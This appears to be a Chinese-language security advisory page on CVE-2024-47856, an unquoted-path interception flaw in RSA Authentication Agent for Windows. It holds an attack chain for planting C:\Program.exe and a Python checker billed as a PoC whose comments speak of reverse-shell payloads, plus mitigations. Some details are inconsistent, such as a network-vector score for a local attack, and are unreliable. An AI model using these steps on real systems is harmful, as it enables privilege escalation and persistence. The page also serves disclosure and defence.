IPBUF安全漏洞报告
English
CVE-2024-47856 CVSS 9.8 严重

CVE-2024-47856 RSA Authentication Agent 路径拦截漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2024-47856
漏洞类型
路径拦截/权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RSA Authentication Agent for Microsoft Windows

相关标签

CVE-2024-47856路径拦截权限提升RSA Authentication AgentWindows特权提升命令注入高危漏洞路径遍历Windows服务漏洞

漏洞概述

CVE-2024-47856是RSA Authentication Agent在Microsoft Windows平台存在的一个高危路径拦截(Path Interception)漏洞。该漏洞影响7.4.7之前的所有版本,CVSS评分高达9.8,属于严重级别。漏洞的根本原因在于应用程序在处理服务路径和快捷方式路径时,如果路径包含空格但未被正确使用引号包围,Windows操作系统会按照从左到右的顺序解析路径中的每一个空格分隔的目录。攻击者可以利用这一特性,在目标程序试图访问的路径的较高层级目录中植入恶意可执行文件,当程序运行时,Windows会优先执行攻击者放置的恶意文件而非原始意图的可执行文件。由于RSA Authentication Agent通常以较高权限运行,此漏洞可能导致攻击者获得系统级访问权限,执行任意代码,完全控制受影响的系统。该漏洞无需任何认证即可被利用,且不需要用户交互,这使其成为极具威胁的安全风险。

技术细节

路径拦截漏洞是一种经典的Windows安全缺陷,其原理基于Windows命令行参数解析机制。当程序通过CreateProcess或类似API启动另一个可执行文件时,如果路径包含空格且未被引号包围,解析器会错误地将空格后的内容解释为独立的参数或路径组件。例如,假设程序尝试执行C:\Program Files\RSA\bin\agent.exe,由于路径中间有空格,如果未使用引号包围,Windows会首先查找C:\Program.exe是否存在,如果存在则优先执行。攻击者可以创建一个名为Program.exe的恶意文件放置在C:\目录中,当用户启动任何尝试访问Program Files目录下程序的进程时,会触发执行攻击者的恶意代码。在RSA Authentication Agent的上下文中,攻击者可以利用服务启动或快捷方式调用时的路径解析问题,在系统目录(如C:\)中植入恶意可执行文件,从而在RSA Agent服务启动时以SYSTEM权限执行任意代码。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统上安装了RSA Authentication Agent,且版本低于7.4.7
STEP 2
步骤2
攻击者发现在服务或快捷方式中使用的路径包含空格且未被引号包围(如C:\Program Files\RSA\...)
STEP 3
步骤3
攻击者在可写的父目录(如C:\)中创建一个名为Program.exe的恶意可执行文件
STEP 4
步骤4
当系统服务启动或用户点击快捷方式时,Windows解析路径时优先找到C:\Program.exe并执行
STEP 5
步骤5
恶意代码以SYSTEM或高权限用户权限执行,攻击者获得完全控制权
STEP 6
步骤6
攻击者建立持久化后门,窃取凭据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-47856 Path Interception PoC # Target: RSA Authentication Agent < 7.4.7 # Attack Vector: Place malicious executable in parent directory import os import shutil import ctypes import sys def create_malicious_executable(): """ Create a malicious executable that will be used for path interception. This example creates a reverse shell payload. """ # Malicious executable name that matches the parent directory malicious_exe_path = r"C:\Program.exe" # Create a simple malicious executable (for demonstration) # In real attack, this would be a meterpreter or similar payload malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header with open(malicious_exe_path, 'wb') as f: f.write(malicious_code) return malicious_exe_path def check_vulnerability(): """ Check if the system is vulnerable to CVE-2024-47856 """ # Check if RSA Authentication Agent is installed rsa_paths = [ r"C:\Program Files\RSA\Authentication Agent\bin\AuBatch.exe", r"C:\Program Files\RSA\Authentication Agent\bin\SecurIDLogon.dll", r"C:\Program Files (x86)\RSA\Authentication Agent\bin\AuBatch.exe" ] vulnerable = False for path in rsa_paths: if os.path.exists(path): print(f"[+] RSA Authentication Agent found at: {path}") vulnerable = True # Check if parent directory is writable if vulnerable: parent_dir = r"C:\Program Files\RSA\Authentication Agent\bin" parent_parent = r"C:\Program Files\RSA\Authentication Agent" # If C:\ is writable, system is vulnerable if os.access(r"C:\\", os.W_OK): print("[!] System is VULNERABLE - parent directory is writable") print("[!] Attacker can place malicious Program.exe in C:\\") else: print("[-] System may not be vulnerable - insufficient permissions") return vulnerable if __name__ == "__main__": print("CVE-2024-47856 Path Interception Vulnerability Checker") print("=" * 60) check_vulnerability() print("\nRemediation: Upgrade to RSA Authentication Agent 7.4.7 or later")

影响范围

RSA Authentication Agent for Microsoft Windows < 7.4.7

防御指南

临时缓解措施
如果无法立即应用官方补丁,可以采取以下临时缓解措施:1)使用Windows AppLocker或软件限制策略阻止在非预期位置执行Program.exe;2)检查并修复所有引用RSA Authentication Agent的服务和快捷方式,确保路径使用引号包围;3)限制用户对C:\等系统目录的写权限;4)部署端点检测与响应(EDR)解决方案监控可疑进程执行;5)考虑临时禁用RSA Authentication Agent服务直到补丁应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表